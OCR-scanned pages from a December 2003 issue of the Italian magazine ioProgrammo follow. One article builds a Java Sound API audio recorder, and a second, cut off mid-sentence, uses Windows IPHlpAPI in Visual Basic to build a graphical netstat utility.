► 72/Dicembre 2003 



http://www.ioprogrammo.it 



Multimedia in Java ■ T SISTEMA 



Le Java Sound API in pratica 



Realizzare un 
audio recorder 

In questo articolo approfondiremo ulteriormente lo studio del 
package javax. sound. sampled tramite la realizzazione di un 
registratore di suoni in linguaggio Java. 



In questo articolo continueremo a parlare del 
package javax.sound.sampled, incluso nelle JDK 
a partire dalla versione 1.3, tramite la realizzazio- 
ne di un registrazione di suoni interamente realizza- 
to in linguaggio Java. In particolare, spiegheremo il 
modo in cui aggiungere al lettore audio descritto nel 
precedente articolo le nuove seguenti funzionalità: 

• Cattura dell'audio da microfono, con la possibi- 
lità di impostare manualmente il formato di 
registrazione audio desiderato (frequenza di 
campionamento, risoluzione, etc.) 

• Riproduzione delle registrazioni effettuate 

• Salvataggio della registrazione sotto forma di file 
audio con il formato desiderato (WAVE, AIFF, 
AU) 

• Conversione di un formato di file audio in un 
altro formato 

• Aggiunta di controlli specifici per la regolazione 
della riproduzione audio (volume e pan). 



UM REGISTRATORE 
DI SUONI IIU JAVA 

In Fig.l si può osservare l'interfaccia utente del regi- 
stratore di suoni che sarà analizzato in quest'artico- 
lo. Nel pannello superiore sinistro appaiono le infor- 



me Help 

Info mi azioni sul file audio 
Nome: regVoce_03.wav 
Estensione: wav 
Codifica: PCM_SIGNED 
Frequenza di campionamento: 44100.0 Hz 
Risoluzione: 16 bit 
Numero di canali: 2 
Ordine dei byte: Little Endian 
Durata: 1.5 sec. 
Posizione corrente (sec): 1.0 

Riproduzione e cattura audio 



Opzioni di cattura audio 



Nome del file: regVoce_Q3 
Codifica: I PCM_SIGNED 
Formato del file audio: WAVE 
Frequenza di campionamento (Hz): 44100 
Risoluzione (brts>: 16 



Numero di canali: stereo 



Ordine dei byte: little endian 



uiMmm 



Controlli dì riproduzione audio 
rPan-0.0 Gain- 



Fig. 1: II registratore di suoni in azione. 



mazioni sul file (o sullo stream) audio correntemen- 
te aperto, mentre nel pannello destro è possibile 
impostare sia le modalità di cattura audio che il no- 
me ed il formato audio da assegnare al file da creare. 
Nel pannello inferiore sinistro sono presenti i classi- 
ci pulsanti per la riproduzione e/o cattura del suono 
mentre nel pannello inferiore destro sono stati inse- 
riti due controlli per la regolazione del volume e del 
pan in fase di riproduzione audio. Nei prossimi pa- 
ragrafi vedremo il modo in cui è stato possibile in- 
trodurre tutte queste funzionalità all'interno del 
registratore di suoni realizzato, grazie all'ausilio 
delle Java Sound Api. 



CATTURARE L'AUDIO 
DA MICROFONO 

Per la cattura dell'audio da microfono (azionabile 
mediante la pressione del pulsante di registrazione 
del pannello "riproduzione e cattura audio") è ne- 
cessario innanzitutto specificare il formato audio di 
registrazione desiderato, rappresentato dai parame- 
tri seguenti: 

• frequenza di campionamento (cioè il numero di 
campioni audio catturati nell'unità di tempo) 

• risoluzione audio (il numero di bit da destinare 
per la memorizzazione di un singolo campione) 

• numero di canali (modalità di registrazione 
mono oppure stereo) 

• tecnica di codifica dei campioni audio (SIGNED 
PCM,UNSIGNED_PCM, A-LAW, U-LAW) 

• Ordine dei byte per la memorizzazione di cam- 
pioni a 16 bit (big-endian o little-endian) 

Allo scopo, è stato implementato il metodo getAu- 
dioFormatO che restituisce un oggetto di ivpo Audio- 
Format sulla base delle scelte operate dall'utente 
all'interno del pannello di cattura audio. Tale meto- 




sf CD gf WEB 

SlmAudioRecorderJLzip 



PL 



'••■■• • 



JAVA SOUND 
API HOME PAGE 

All'indirizzo 
http://iava.sun. products/ 
java-media/sound/ 
index.html 

è presente una sezione 
di java.sun.com 
dedicata interamente 
alle Java Sound Api, da 
dove è possibile 
scaricare, oltre alla 
documentazione 
ufficiale (ed alla 
esaustiva Java Sound 
Api Programmer's 
Guide), alcuni utili 
esempi dimostrativi. 



http://www.ioprogrammo.it 



Dicembre 2003/73 ► 



SISTEMA T ■ Multimedia in Java 




JAVA MEDIA 
FRAMEWORK 

Per chi non ha la 

necessità di impiegare 

delle classi a così basso 

livello come le Java 

Sound Api per la 

gestione dei file audio 

nelle proprie 

applicazioni, potrebbe 

risultare più 

conveniente ricorrere 

al Java Media 

Framework, un 

package che consente 

la gestione di 

numerosissimi formati 

multimediali (sia audio 

che video). Ulteriori 

informazioni sul Java 

Media Framework si 

possono trovare presso 

il sito 

http://java.sun.com/ 

prod ucts/java-med ia/ 

jmf/index.html 



■^ do fa uso del costruttore più generale della classe 
AudioFormat, avente la seguente intestazione: 

AudioFormat(AudioFormat.Encoding encoding, 

float sampleRate, int sampleSizelnBits, 

int channels, int frameSize, float frameRate, 

boolean bigEndian) 

In particolare, il valore corretto da assegnare alla 
dimensione del frame è il seguente: 

frameSize = (sampleSizeInBits/8) * channels 



essendo la dimensione del frame pari - per defini- 
zione - al numero totale di byte necessari per rap- 
presentare un istante di segnale sonoro. Una volta 
impostato il formato audio desiderato, si deve crea- 
re un oggetto di tipo TargetDataLine. Per far ciò, è 
necessario innanzitutto istanziare un nuovo oggetto 
di tipo DataLine.Info in cui specificare il tipo di linea 
che si desidera creare (nel nostro caso una Target- 
DataLine) ed formato audio che quella linea dovrà 
gestire: 

AudioFormat tmpAf = getAudioFormatQ; 
DataLine.Info info = new DataLine.Info( 

TargetDataLine. class, tmpAf); 
if (! AudioSystem. isLineSupported(info)) 



// altro codice di gestione dell'eccezione 
return; 



{ 



System. out.println("La linea " + info + " non e' 

supportata."); 
// altro codice di gestione dell'eccezione 
return; 



} 



Prima di creare una nuova linea è bene chiudere 
tutte le altre linee eventualmente aperte per evitare 
l'insorgere di una LineUnavailableException. Relati- 
vamente al nostro caso, è possibile ad esempio che 
la linea Clip 'mySound' - impiegata nel processo di 
riproduzione audio - sia correntemente aperta. Ecco 
allora un modo corretto per chiuderla: 

if (mySound!=null && mySound.isOpen()) 

{mySound.closeO;} 

A questo punto, è finalmente possibile creare ed 
aprire la nuova linea TargetDataLine, nel modo se- 
guente: 

try{ 

targetDataline = (TargetDataLine) 

AudioSystem. getLine(info); 
targetDataline. open(tmpAf); 
} catch (LineUnavailableException ex) { 

System. out.println("Impossibile aprire la linea: 

" + ex); 
ex.printStackTrace(); 



} 



In particolare, per aprire una TargetDataLine è 
necessario specificare (come parametro del metodo 
openQ) almeno il formato audio da gestire 
(AudioFormat tmpAf) . In tal caso, viene automatica- 
mente generato un buffer interno alla linea - con 
una dimensione di default - per la memorizzazione 
temporanea di un certo numero di campioni audio 
catturati. Per risalire a tale numero è sufficiente 
invocare il metodo getBufferSizeQ che restituisce il 
numero massimo di byte che possono essere gestiti 
di volta in volta dal buffer. Volendo, è anche possibi- 
le specificare una dimensione arbitraria per tale buf- 
fer, mediante l'utilizzo del metodo open(AudioFor- 
mat format, int buffer Jength). Nello scegliere una 
dimensione (specifica per il buffer interno ad una 
linea), bisogna tener conto dei seguenti fattori: 
In generale, comunque, non dovrebbe essere neces- 
sario, a meno di esigenze particolari, impostare 
manualmente la dimensione del buffer interno di 
una TargetDataline. Per far partire la fase di cattura 
audio (in altre parole l'aggiornamento del buffer 
interno della linea con i nuovi campioni audio) è 
necessario invocare il metodo targetDataline.startO- 
A questo punto è necessario recuperare di volta in 
volta i campioni audio correntemente memorizzati 
nel buffer. Per far ciò è necessario ricorrere al meto- 
do targetDataline.read(data, 0,bufferLengthInBytes) 
che trasferisce i prossimi bufferLengthlnBytes byte 
dal buffer interno all'array di byte data. Infine è pos- 
sibile impiegare un oggetto ByteAnayOutputStream 
per aggiungervi di volta in volta i byte appena letti. 
Quanto detto è realizzabile tramite le seguenti righe 
di codice: 

class Capture implements Runnable { 
Thread thread; 

TargetDataLine targetDataline = nuli; 
public void start() { 

thread = new Thread(this); 

thread. startQ;} 

public void stop() { 
thread = nuli;} 
public void run() { 
/* Inserire qui il codice per la creazione e apertura 

della targetDataLine */ 

[■■■] 

/* Codice per la cattura dei campioni tramite la 

targetDataLine: */ 
ByteArrayOutputStream out = new 

ByteArrayOutputStream(); 
int frameSizelnBytes = tmpAf.getFrameSize(); 
int bufferLengthlnFrames = 

targetDataline. getBufferSize() / 8; 
int bufferLengthlnBytes = bufferLengthlnFrames * 



»> 74/Dicembre 2003 



http://www.ioprogrammo.it 



Multimedia in Java H ▼ SISTEMA 



frameSizelnBytes; 
byte[] data = new byte[bufferLengthInBytes]; 
int numBytesRead; 
targetDataline.start(); 
while (thread!=null) { 
if((numBytesRead = targetDataline.read(data, 0, 

bufferLengthlnBytes)) = = -1) {break; } 

out.write(data, 0, numBytesRead); 



} 



Innanzitutto, si noti come la dimensione dell'array 
data sia stata scelta pari ad una frazione di quella del 
buffer. Questo accorgimento è importante poiché, 
nel caso si scelga di assegnare all'array data una 
dimensione esattamente pari a quella del buffer 
interno, potrebbe capitare che qualche campione 
audio non venga catturato, in quanto il sistema 
potrebbe non fare in tempo ad aggiornare comple- 
tamente l'array data prima di aggiornare nuova- 
mente il buffer interno. 
Relativamente al metodo: 

numBytesRead = targetDataline.read(data, 0, 

bufferLengthlnBytes)) 

bisogna poi assicurarsi che il numero di byte letti ad 
ogni sua chiamata (che è anche il valore restituito da 
tale metodo) rappresenti un numero intero di frame 
di campioni audio. In altre parole, deve essere ri- 
spettata la seguente condizione: 

[ bytes read ] % [frame size in bytes ] == 

Perchè questo vincolo venga sempre rispettato è 
sufficiente che il numero dei byte da leggere di volta 
in volta sia un multiplo intero della dimensione (in 
byte) di un singolo frame. Da quanto detto si può 
comprendere il motivo del seguente assegnamento: 

int bufferLengthlnBytes = bufferLengthlnFrames * 

frameSizelnBytes; 

Si noti poi come la fase di lettura dei campioni audio 
sia stata racchiusa all'interno di un ciclo while, per 
consentire una acquisizione continua dei campioni 
audio. Infine, è bene che l'intero processo di cattura 
venga inserito in un thread separato dell'applicazio- 
ne, in maniera tale che un altro thread esterno ad 
esso possa intervenire per arrestarne il processo di 
acquisizione. Nel caso dell'applicazione realizzata, 
in seguito alla pressione del pulsante di stop del 
pannello di "riproduzione e cattura audio", viene 
invocato metodo stopO della classe Capture, il qua- 
le a sua volta impone thread = nuli, che provoca 
l'immediata fuoriuscita dal ciclo while. Una volta 
terminata l'acquisizione audio, è bene ricordarsi di 
stoppare la linea (che altrimenti continuerebbe inu- 
tilmente ad acquisire campioni dall'esterno) e chiu- 



derla, nel modo seguente: 

targetDataline.stopO; 
targetDataline.close(); 



COME RIPRODURRE 
LE REGISTRAZIONI 
AUDIO EFFETTUATE 

Per riprodurre una registrazione audio è necessario 
creare un oggetto AudioInputStream ais contenente 
tutti i campioni precedentemente catturati. Per far 
ciò è possibile ricorrere all'oggetto ByteArrayOut- 
putStream out (impiegato in fase di cattura audio) e 
procedere come segue: 

byte audioBytes[] = out.toByteArray(); 
ByteArraylnputStream bais = new 

ByteArraylnputStream(audioBytes); 
AudioFormat tmpAf = getAudioFormat(); 
int frameSizelnBytes = tmpAf.getFrameSize(); 
ais = new AudioInputStream(bais,tmpAf, 

audioBytes.length / frameSizelnBytes); 

In particolare, per la creazione del nuovo oggetto 
AudioInputStream, si è fatto uso del seguente co- 
struttore: 

public AudioInputStream(InputStream stream, 
AudioFormat format, 
long length) 

dove il parametro length indica la lunghezza dello 
stream da creare in termini di numero di frame. 
A questo punto, non rimane che aggiornare la Clip 
di riproduzione audio con il nuovo AudioInput- 
Stream ais, mediante l'invocazione del metodo set- 
ClipFromAudioInputStreamO, descritto nei dettagli 
nel precedente articolo sul player multimediale in 
Java, al quale si rimanda per ulteriori delucidazioni. 



COME SALVARE 
UM FILE AUDIO 

La scrittura di un file audio tramite gli strumenti 
messi a disposizione dalle Java Sound API è un'ope- 
razione molto semplice: in pratica basta invocare il 
metodo writeQ della classe AudioSystem passando- 
gli, nell'ordine, i seguenti parametri: 

• Un oggetto AudioInputStream, contenente i 
campioni audio veri e propri 

• Un oggetto AudioFileFormat.Type, indicante il 
formato di file audio (AIFF.AU, WAV,SND) 

• Un oggetto File, sul quale verrà scritto il nuovo 
file audio. 




LA CLASSE 
AUDIOSYSTEM 

La classe AudioSystem 
del package 
javax.sound.sampled 
contiene dei metodi 
che consentono, fra le 
altre cose, sia di 
indagare sulle 
conversioni di formato 
di file audio 
supportate dal proprio 
sistema, sia di 
effettuare nella pratica 
tali conversioni. 



http://www.ioprogrammo.it 



Dicembre 2003/75 ► 



SISTEMA T ■ Multimedia in Java 




LA CLASSE 

ASTRATTA 

CONTROL 

Il modo più facile ed 

immediato per 

modificare la resa 

sonora di un segnale 

audio è ricorrere ai 

cosiddetti "controlli" - 

rappresentati dalle 

classi Control insieme 

alle sue derivate 

BooleanControl, 

FloatControl, 

EnumControl - di cui 

può essere dotata 

ciascuna linea. Ad 

esempio, tutte le linee 

di tipo SourceDataLine e 

Clip sono generalmente 

dotate di controlli di 

tipo 

FloatControl. Type.MASTE 

R_GAINe 

FloatControl. Type.PAN 

per la regolazione, 

rispettivamente, del 

volume e del pan (cioè 

la distribuzione del 

suono fra gli 

altoparlanti destro e 

sinistro) in fase di 

riproduzione audio. 



Il metodo seguente consente la creazione di un file 
audio di formato arbitrario, e restituisce true solo nel 
caso in cui l'operazione sia stata conclusa con suc- 
cesso: 

public boolean saveAudioFile(AudioInputStream ais, 

AudioFileFormat.Type fileType, File file) { 
if (ais == nuli) { 
System. out.println("Non esiste alcun segnale audio 

da salvare"); 
return false; } 

try { 

if (AudioSystem. write(ais, fileType, file) == -1) { 
throw new IOException("Problemi nella scrittura 

del file");} 

} catch (IOException ex) { System. out.println(ex); 

return false; } 
return true;} 

Nell'applicazione di esempio, per salvare le proprie 
registrazioni sotto forma di file audio è sufficiente 
selezionare, dal menu principale, il percorso File/ 
Salva file audio. A quel punto apparirà una finestra 
di dialogo apposita dotata di un filtro in grado di 
consentire la visualizzazione dei soli file con la stes- 
sa estensione (WAV, AIFF, AU o SND) di quella sele- 
zionata dall'utente nel pannello delle opzioni di cat- 
tura audio. A quel punto basterà cliccare sul pulsan- 
te "salva" per la creazione del file audio vero e pro- 
prio. 



CONVERSIONE 
FRA DIVERSI 
FORMATI AUDIO 

Abbiamo visto in precedenza come l'utente abbia la 
facoltà di impostare a suo piacimento il formato 
audio per le proprie registrazioni, mediante l'utiliz- 
zo del pannello delle opzioni di cattura audio (vedi 
Fig. 1). Tuttavia, tale pannello può anche servire nel 
caso si voglia salvare un file audio con un formato 
diverso da quello della registrazione (o del file) cor- 
rente. Ad esempio, l'utente potrebbe avere la neces- 
sità di salvare una propria registrazione (o un file) 
audio con una frequenza di campionamento diffe- 
rente da quella attuale. Le seguenti righe di codice 
mostrano come utilizzare i metodi offerti dalla clas- 
se AudioSystem sia per verificare il supporto di una 
eventuale conversione, che per effettuare, nel caso 
ciò sia possibile, l'operazione di conversione vera e 
propria. 

/* Indaghiamo sul formato audio correntemente 

selezionato dall'utente all'interno del pannello 
* delle opzioni di cattura audio: */ 

AudioFormat tmpAf = getAudioFormat(); 
/*Se il formato audio selezionato dall'utente non 



coincide con quello dello stream audio corrente*/ 
if (!tmpAf.matches(ais.getFormat())) 

{ System. out.println("Tentativo di conversione di 

formato audio..."); 
if (AudioSystem. isConversionSupported( 

tmpAf,ais.getFormat())) { 
ais = AudioSystem. getAudioInputStream( 

tmpAf,ais); 
System. out.println("Conversione di formato 

eseguita");} 
else 
System. out.println("Conversione di formato 

non effettuata\n"+ 
"in quanto non ancora supportata dal sistema"); } 
else System. out.println("Conversione di formato 

non necessaria"); 

Una volta ottenuto l'aggiornamento del proprio 
AudioInputStream ais, si può ad esempio invocare 
metodo saveAudioFileQ descritto nel paragrafo pre- 
cedente per la creazione di un file audio con il nuovo 
formato. 



COME MODIFICARE 
IL SEGNALE AUDIO 

Nel caso si desideri cambiare in qualche modo l'a- 
spetto del proprio segnale audio, è possibile operare 
in due modi diversi: 

• Ricorrendo alle tecniche di elaborazione del se- 
gnale digitale (audio DSP). L'inclusione di op- 
portuni algoritmi di elaborazione dell'audio di- 
gitale nelle proprie applicazioni Java risulta par- 
ticolarmente agevole grazie alla possibilità, 
introdotta dalle Java Sound API, di poter operare 
direttamente sui singoli campioni audio sotto 
forma di array di byte. 

• Ricorrendo ai cosiddetti "controlli" messi a 
disposizione dalle linee (rappresentati dalla clas- 
se Control insieme alle sue derivate FloatCon- 
trol, BooleanControl, EnumControl e Com- 
poundControl. Tipici controlli legati alle linee 
sono la regolazione del volume, del pan e del 
riverbero. 

Esistono diversi tipi di controlli, rappresentati da 
varie classi (tutte sottoclassi astratte della classe 
astratta Control], a seconda della tipologia di con- 
trollo da impiegare. In particolare, ciascuna sotto- 
classe di Control ha una corrispondente sottoclasse 
Control. Type, che include istanze statiche che iden- 
tificano un controllo specifico. Nel dettaglio abbia- 
mo le seguenti tipologie di controlli: 

BooleanControl - rappresenta quei controlli che 
possono assumere solo due valori (true o false). Ad 



». 76/Dicembre 2003 



http://www.ioprogrammo.it 



Multimedia in Java ■ T SISTEMA 



esempio, un tipico controllo di questo tipo è quello 
dell'impostazione dello stato di attivazione e disatti- 
vazione dell'audio [BooleanControl.Type.MUTE) . 
FloatControl - rappresenta tutti quei controlli che 
possono assumere dei valori continui all'interno di 
un certo range, come il pan (in altre parole la distri- 
buzione del suono fra l'altoparlante destro e quello 
sinistro) ed il volume (FloatControl.Type.PAN e 
FloatControl. Type.MASTER_GAIN) 
EnumControl - consente all'utente di scegliere fra 
un numero finito di configurazioni di valori per un 
determinato controllo (fino ad ora, l'unico controllo 
di questo tipo che sia stato implementato è quello 
del riverbero EnumControl. Type.REVERB) . Ad esem- 
pio, se si volesse introdurre nella propria applicazio- 
ne dei particolari effetti di riverbero, l'utente potreb- 
be scegliere fra una serie di configurazioni di valori 
per tale effetto così da simulare diversi ambienti, 
come quello di un garage, di una caverna o di un 
laboratorio acustico. 

CompoundControl - rappresenta, più che un con- 
trollo di per sé una collezione di controlli di diverso 
tipo. Ad esempio, se si volesse realizzare un mixer 
per la gestione generale dell'audio, potrebbe essere 
conveniente raggruppare in un unico Com- 
poundControl i vari controlli disponibili, come quel- 
lo per la regolazione del volume, del pan, del river- 
bero e così via. 

Si noti che non è detto che ciascuna linea possa 
disporre di tutti i controlli sopra elencati. Per cono- 
scere i controlli disponibili per una linea, è comun- 
que possibile ricorrere al metodo 

Control [] getControls() 

che restituisce un array con un elenco completo di 
tutti i controlli da essa utilizzabili. Ad esempio, il 
metodo seguente stampa su schermo l'elenco di 
tutti i controlli disponibili per una generica linea: 

public void viewControls(Line myLine) 

{ 

Control [] myControIs = myLine. getControlsQ; 

for (int i=0;i<myControls.length;i++) 

System. out.println(i+") Controllo: " + myControls[i]); } 

Alternativamente, è possibile ricorrere al metodo 

boolean isControlSupported(Control.Type control) 

se si vuole sapere se una linea dispone di un con- 
trollo specifico. Ad esempio, per verificare se la linea 
Clip impiegata nella nostra applicazione dispone di 
un controllo per la regolazione del volume, si può 
operare come segue: 

boolean IS_MASTER_GAIN_SUPPORTED = 



mySound.isControlSupported( 
FloatControl.Type.MASTER_GAIN) 

dove si è supposto che mySound sia una linea di tipo 
Clip precedentemente istanziata ed aperta. A titolo 
di esempio, nella nostra applicazione sono stati in- 
seriti due controlli relativi alla riproduzione audio (e 
quindi dipendenti dalla linea Clip mySound] per la 
regolazione del pan e del volume. In particolare, per 
la regolazione del volume è stato implementato il 
metodo seguente: 

public void setGain() 

_i 

if (mySound !=null) { 

if (!mySound.isControlSupported( 

FloatControl.Type.MASTER_GAIN)) 

{System. out.println("master gain non supportato dalla 

linea"); 
return;} 
doublé value = gainSlider.getValue() / 100.0; 

try{ 

FloatControl gainControl = 
(FloatControl) mySound. getControl( 

FloatControl.Type.MASTER_GAIN); 

float dB = (float) (Math.log(value==0.0 ? 

0.0001: value)/Math.log(10.0)*20.0); 

gainControl. setValue(dB); 
} catch (Exception ex) {ex.printStackTrace();} 
} 

Tale metodo - invocato ogni qual volta l'utente 
cambia l'impostazione dello slider gainSlider (si 
veda la Fig. 1 relativa al "gain" all'interno del pan- 
nello dei "controlli di riproduzione audio") - 
aggiorna automaticamente il volume del segnale 
audio in fase di riproduzione. In generale, per otte- 
nere un controllo da una generica linea si deve uti- 
lizzare il metodo myLine.getControl(Control.Type 
type_of_control). Infine, ogni controllo è dotato dei 
metodi setValueQ e getValuef) rispettivamente per 
la lettura del suo valore corrente e per la scrittura 
di un nuovo valore. 



CONCLUSIONI 

Nel caso i controlli disponibili non rispondano alle 
proprie esigenze, è sempre possibile ricorrere ad 
opportuni algoritmi di elaborazione dell'audio digi- 
tale (audio DSP). Ad esempio, se si volesse realizza- 
re un equalizzatore grafico, tale da regolare a pro- 
prio piacimento le basse, le medie o le alte frequen- 
ze di un segnale audio, sarebbe possibile ricorrere 
all'implementazione di un banco di filtri digitali. 
Ma di questo interessante argomento parleremo nel 
prossimo appuntamento. Non mancate!! 

Stefano Leone Monni 





i Sound Api 
Programmer's Guide 

http://java.sun.com/ 
j2se/1 ,3/docs/guide/ 
sound/proq guide/ 
title.fm.html 



http://www.ioprogrammo.it 



Dicembre 2003/77 ► 



SISTEMA T ■ NETWORKING 



Monitoring della Lan con VB 



Le Network API 



in Visual Basic 



(parte seconda) 



In questa puntata analizzeremo le funzioni più avanzate della 
libreria IPHIpAPI.dll, costruendo un Netstat grafico che ci consentirà 
di monitorare le principali attività di rete del nostro sistema 




Lj CD □ WEB 

NetworkAPLzip 



^* 



Nel precedente appuntamento (ioPro- 
grammo 74) abbiamo analizzato alcune 
delle funzioni più importanti della libre- 
ria IPHlpAPI.dll, piuttosto semplici da utilizzare. 
Abbiamo soprattutto evidenziato il fatto che una 
libreria apparentemente "di poco conto" possie- 
de in realtà delle funzioni in grado di offrirci un 
supporto davvero importante quando dobbiamo 
trattare dati che si riferiscono ad interfacce di 
rete o, più in generale, alla nostra LAN. Questa 
volta avremo modo di vederne delle altre che, per 
certi aspetti, potranno risultare più complicate 
da utilizzare all'interno dei nostri progetti, ma 
risulteranno senza dubbio più interessanti. In 
questa sede, infatti, analizzeremo la maniera di 
sfruttare alcune di queste funzioni per realizzare 
un programma che ci mostri una serie di dati sta- 
tistici relativi ai pacchetti IP, TCP, ICMP ed UDP 
in transito sulla nostra scheda di rete e, successi- 
vamente, ne sfrutteremo delle altre per realizzare 
una utility Netstat-like, con tanto di interfaccia 
grafica. 



LE STATISTICHE 
PACCHETTI 



Come già anticipato, il progetto che si è voluto 
realizzare, è suddiviso in due parti distinte. La 
prima riguarda l'implementazione di alcune fun- 
zionalità che ci consentono di ottenere informa- 
zioni statistiche circa i pacchetti di tipo TCP/IP, 
UDP e ICMP che transitano sulla nostra scheda 
di rete. La seconda parte, invece, riguarda la rea- 
lizzazione di una Netstat grafica, molto simile 
(dal punto di vista dei dati mostrati) a quella che 
già conosciamo. L'intero progetto è stato realiz- 
zato in Visual Basic 6.0 e la piattaforma utilizzata 
per i test è stata Windows XP Professional. Prima 



di passare alla descrizione vera e propria delle 
funzioni appartenenti alla libreria IPHlpAPI.dll 
utilizzate (e non solo a questa) è bene rammen- 
tare che l'esecuzione di alcune funzionalità su 
altri sistemi operativi, potrebbe essere fonte di 
errori. Chiaramente, considerate le diverse carat- 
teristiche di un sistema operativo rispetto ad un 
altro, il condizionale è d'obbligo. 
Per questa ragione, dunque, è bene sempre 
acquisire tutte le informazioni relative alla com- 
patibilità delle funzioni sfruttate prima di essere 
certi di poter utilizzare lo stesso programma per 
altri sistemi operativi. Cominceremo questa 
"discussione" parlando innanzitutto delle fun- 
zioni utilizzate per ottenere dati statistici sui pac- 
chetti in transito. 

La prima funzione che vedremo è denominata 
GetTcpStatisticsQ- La sintassi di questa funzione, 
così come dichiarata all'interno del progetto in 
Visual Basic, è: 

Declare Function GetTcpStatistics Lib "IPhlpAPI" 

(pStats As MIB_TCPSTATS) As Long 

L'unico parametro di questa funzione rappresen- 
ta un puntatore ad una struttura di tipo 
MIB_TCPSTATS. Essa contiene diverse informa- 
zioni utili, relative ai pacchetti TCP tra cui il 
numero di connessioni stabilite, i pacchetti 
inviati, quelli ricevuti, ecc. La seconda funzione, 
sfruttata per scopi statistici, si occupa di ritorna- 
re informazioni utili circa i pacchetti IP ed è 
denominata, analogamente alla precedente, 
GetlpStatisticsQ, eccone la sintassi: 

Declare Function GetlpStatistics Lib "IPhlpAPI" (pStats 
As MIBJPSTATS) As Long 

Anch'essa, come GetTcpStatisticsQ, riceve in 



»> 78/Dicembre 2003 



http://www.ioprogrammo.it 



NETWORKING ■ T SISTEMA 



ingresso un solo parametro, un puntatore ad una 
struttura di tipo MIBJPSTATS, che consente di 
memorizzare, ad ogni chiamata, informazioni 
utili sui pacchetti IP "catturati". Alcune di queste 
informazioni riguardano il numero di datagram 
inviati, quelli scartati, il numero di indirizzi IP 
configurati, ecc. 

La successiva funzione si occupa di ottenere 
informazioni utili circa i pacchetti UDP ed è 
denominata GetUdpStatisticsO- 
Anch'essa è dichiarata in maniera simile alle pre- 
cedenti ossia: 

Public Declare Function GetUdpStatistics Lib "IPhlpAPI" 
(pStats As MIB_UDPSTATS) As Long 

Anche qui, l'unico parametro passato alla funzio- 
ne, è un puntatore ad una struttura che consen- 
tirà di memorizzare i dati relativi a pacchetti 
UDP denominata MIBJJDPSTATS. L'ultima fun- 
zione, si occupa della cattura di pacchetti ICMP 
ed è denominata GetIcmpStatistics(). 
La sintassi di questa funzione è la seguente: 

Declare Function GetlcmpStatistics Lib "IPhlpAPI" 

(pStats As MIBICMPINFO) As Long 

Il parametro pStats rappresenta un puntatore ad 
una struttura denominata MIBICMPINFO che, 
contrariamente a quanto visto finora, è legger- 
mente diversa dalle precedenti. Infatti, essa è 
così dichiarata: 



Type MIBICMPINFO 


icmpInStats As MIBICMPSTATS ' 


Statistiche in arrivo 


icmpOutStats As MIBICMPSTATS 


v Statistiche in uscita 


End Type 



I due item della struttura, così come evidenziato 
nella dichiarazione sopra, rappresentano due 
strutture di tipo MIBICMPSTATS. Entrambi, dun- 
que, puntano allo stesso tipo di "container", ma 
consentono di differenziare i dati rilevati a 
secondo se si tratti d'informazioni in arrivo o in 
uscita. 

In particolare, tanto per essere più chiari, una 
struttura MIBICMPSTATS è così dichiarata: 

Type MIBICMPSTATS 

dwMsgs As Long ' Numero messaggi ricevuti o inviati 
dwErrors As Long ' Numero errori ricevuti o inviati 
dwDestUnreachs As Long ' Messaggi riferiti a 

destinazioni irraggiungibili 
Numero di messaggi del tipo 
TTL exceeded' 
' Numero di messaggi 
del tipo 'Parameter problem' 
dwSrcQuenchs As Long ' Numero di messaggi del 



dwTimeExcds As Long 
dwParmProbs As Long 



tipo 'Source quench' 
dwRedirects As Long ' Numero di messaggi del tipo 

'Redirection messages' 
dwEchos As Long ' Echo requests 

dwEchoReps As Long v Echo replies 
dwTimestamps As Long v Timestamp requests 
dwTimestampReps As Long ' Timestamp replies 
dwAddrMasks As Long ' Address mask requests 
dwAddrMaskReps As Long ' Address mask replies 
End Type 

L'UTILITY IUETSTAT 

L'utility Netstat rappresenta certamente uno di 
quei tool che ogni amministratore di rete dovreb- 
be conoscere. Analogamente a comandi come 
ping o tracert. In Windows XP, se lanciamo 
Netstat senza alcun parametro, otteniamo sem- 
plicemente tutte le connessioni TCP attive. La 
sintassi di quest'utility è la seguente: 

netstat [-a] [-e] [-n] [-o] [-p Protocollo] [-r] [-s] 

[Intervallo] 

in cui 

• -a: Visualizza tutte le connessioni TCP attive e 
le porte TCP ed UDP su cui il PC è in attesa di 
connessione. 

• -e: Visualizza le statistiche Ethernet (numero 
di byte e pacchetti inviati/ricevuti). Questo 
parametro può essere combinato con -s. 

• -n: Visualizza le connessioni TCP attive, mo- 
strando indirizzi e numeri di porta sottofor- 
ma numerica, senza alcun tentativo di risolu- 
zione dei nomi. 

• -o: Visualizza le connessioni TCP attive e 
include il PID (ID processo) di ogni connes- 
sione. Questo valore consente di ottenere 
l'applicazione relativa attraverso la scheda 
Processi di Task Manager di Windows. Questo 
parametro può essere combinato con -a, -n e 

-P- 

• -p Protocollo: Mostra le connessioni per il 
protocollo specificato da Protocollo. Esso può 
essere tcp, udp, tcpv6 o udpv6. Se utilizzato 
con -s, Protocollo può essere tcp, udp, icmp, 
ip, tcpv6, udpv6, icmpv6 o ipv6. 

• -s: Visualizza le statistiche per protocollo. Per 
impostazione predefinita, le statistiche ven- 
gono mostrate per i protocolli TCP, UDP, 
ICMP e IP. Se è installato il protocollo IPv6 per 
Windows XP le statistiche verranno mostrate 
per i protocolli TCP su IPv6, UDP su IPv6, 
ICMPv6 e IPv6. Il parametro -p può essere 
utilizzato per specificare un gruppo di proto- 
colli. Questa funzionalità è stata implementa- 
ta, all'interno del progetto VB, attraverso l'uti- 





GLOSSARIO 



NETSTAT 

Netstat consente di 
ottenere moltissime 
informazioni utili che 
possono aiutarci a 
risolvere problemi 
legati alla nostra rete. 
In particolare, Netstat 
visualizza informazio- 
ni che vanno dalle 
"semplici" connessio- 
ni TCP attive, alle 
porte su cui il compu- 
ter è in attesa di con- 
nessione, alle statisti- 
che Ethernet, alla 
visualizzazione della 
tabella di routing IP, 
ecc. 



http://www.ioprogrammo.it 



Dicembre 2003/79 ► 



SISTEMA T ■ NETWORKING 




PERCHÈ 

UTILIZZARE 

METSTAT 

Solitamente, Netstat 
viene sfruttata per 
ottenere in output 
informazioni sul pro- 
tocollo di riferimen- 
to (TCP o UDP), l'in- 
dirizzo locale ed il 
numero di porta uti- 
lizzata, l'indirizzo 
remoto ed il numero 
di porta utilizzata e 
lo stato della con- 
nessione. 



lizzo delle funzioni descritte precedentemen- 
te. 

• -r: Visualizza il contenuto della tabella di rou- 
ting IP ed è equivalente al comando route 
print. 

• Intervallo: Visualizza nuovamente le infor- 
mazioni selezionate ogni Intervallo di secon- 
di. Se il parametro viene omesso, il comando 
netstat stampa le informazioni richieste sol- 
tanto una volta. 

• /?: Visualizza informazioni della Guida. 

In particolare, gli stati di una connessione possi- 
